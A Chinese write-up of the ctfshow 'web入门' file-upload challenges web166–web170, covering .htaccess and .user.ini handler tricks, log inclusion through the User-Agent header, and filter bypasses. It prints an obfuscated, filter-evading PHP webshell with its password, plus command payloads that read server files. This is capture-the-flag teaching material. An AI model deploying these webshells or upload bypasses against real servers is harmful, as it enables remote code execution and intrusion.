ctfshow-web入门-文件上传(web166、web167)&(web168-web170)免杀绕过

目录

1、web166

2、web167

3、web168

4、web169

5、web170


1、web166

查看源码,前端只让传 zip

上传 zip 成功后可以进行下载

随便搞一个压缩包,使用记事本编辑,在其内容里插入一句话木马:

上传该压缩包,上传成功后点击下载文件,使用 burpsuite 抓包:

我这里木马内容用的 request ,就在 get 里执行 ls 没什么问题,但是读取 flag 时识别有点问题,最好使用 post 请求,因此将请求方法改为 post ,将 file 的内容还原到上面。

读取 flag:

ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}

后面发现转为 get 方法其实也是可以的,注意添加一个加号进行拼接,而不是用空格:

2、web167

提示:httpd

.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

这里我们可以通过上传 .htaccess 文件,其内容设置如下:

复制代码
<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这里先改为 jpg 上传绕过前端限制后再改回 .htaccess 放包:

这个配置文件上传成功后,就会使 jpg 后缀的文件都被当做 php 文件解析。

接下来我们直接将一句话木马改为 jpg 后缀上传:

点击下载文件即可访问到一句话木马:

空白,说明上传解析成功。

调用:

看一下上层目录:

读取 flag.php:

拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}

3、web168

前端还是只能传 png

使用 burpsuite 抓包,改后缀重放回显 null

什么都没有回显

做了一下 fuzz 测试:

单个的字符都是没问题的,但是合在一起传的内容就有问题,并不是像前面对内容进行过滤那样简单,查看提示:基础免杀。

经过测试,正常内容可以上传,并且对 php 文件没有后缀限制:

文件会被上传到 upload 目录下:

phpinfo 也可以正常上传并解析:

无论是正常的 php 代码还是短标签的格式:

测试关键字:eval、system、assert、$_POST

均返回 null,猜测应该是过滤掉了一些危险函数和关键字

做了一下拼接绕过:

php 复制代码
<?php
	$a="e"."v";
	$b="a"."l";
	$c=$a.$b;
	$c($_REQUEST['cmd']);
?>

但是访问的时候报错:

看来不光是过滤关键字,这些高位函数在 PHP 配置中也被禁用了。

在网上找到了一个免杀的木马:

php 复制代码
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU

调用:

查看上一层目录:

php 复制代码
TyKPuntU=system('ls ../');

存在 flag.php 和 flagaa.php,先读取 flag.php:

php 复制代码
TyKPuntU=system('tac ../flag.php');

不是,那么再读取 flagaa.php:

php 复制代码
TyKPuntU=system('tac ../flagaa.php');

拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b}

如果这里不上一句话木马,我们还可以使用反引号来执行命令:

php 复制代码
<?=`ls ..`;

读取 flag:

php 复制代码
<?=`tac ../flagaa.php`;

4、web169

复制代码
高级免杀

前端只能传 zip,抓包绕过即可

但是在后端上传发现不行,这段 unicode 编码在前面遇到过,文件类型没对。

需要修改 content-type 为:image/png

至于文件后缀并不影响,php 也可以:

测一下上一题的木马,过不了:

这里直接把尖括号(大于小于号)都给毙掉了:

想直接写进去很难了,采用日志文件包含:

先上传配置文件 .user.ini,也需要改文件类型为 png 图片类型

可以上传成功,再在 ua 头里面插入我们希望执行的 php代码,再次发送:

访问 upload 目录,返回 403,应该是 upload 目录下没有 php 文件:

我们随便传一个上去:

访问 /upload/1.php

遇到报错:

可能前面传得太乱了,重启容器,重新传 php 文件和配置文件:

再次访问 /upload/1.php,可以看到 ls ../ 执行成功:

读取 flag:

拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}

5、web170

复制代码
终极免杀

方法与上一题一样,也是采用日志包含。

传配置文件:

这里的 payload 就直接读 flag 了:

传 php 文件:

这次直接传 index.php,内容为空,一会儿直接访问 upload 目录即可看到回显。

拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}

CTFshow-Web 入门系列的文件上传至此结束。

Myon,2024.7.11

相关推荐
崔庆才丨静觅23 分钟前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60611 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了1 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅1 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
执笔论英雄1 小时前
【大模型学习cuda】入们第一个例子-向量和
学习
wdfk_prog2 小时前
[Linux]学习笔记系列 -- [drivers][input]input
linux·笔记·学习
崔庆才丨静觅2 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅2 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment2 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅2 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端